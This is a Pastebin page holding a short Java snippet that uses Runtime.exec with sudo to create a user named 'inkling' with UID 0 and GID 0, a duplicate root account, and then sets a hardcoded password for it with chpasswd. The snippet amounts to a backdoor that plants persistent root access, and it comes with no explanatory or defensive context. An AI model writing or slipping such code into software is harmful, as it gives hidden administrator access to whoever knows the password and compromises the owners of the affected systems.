Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try
- {
- Process p = Runtime.getRuntime().exec(new String[] { "sudo", "/bin/sh", "-c", "useradd -ou 0 -g 0 inkling" });
- p.waitFor();
- }
- catch (IOException|InterruptedException e1)
- {
- e1.printStackTrace();
- }
- try
- {
- Process p = Runtime.getRuntime().exec(new String[] { "sudo", "/bin/sh", "-c", "echo \"inkling:bassmaster\" | sudo chpasswd" });
- p.waitFor();
- }
- catch (IOException|InterruptedException e1)
- {
- e1.printStackTrace();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement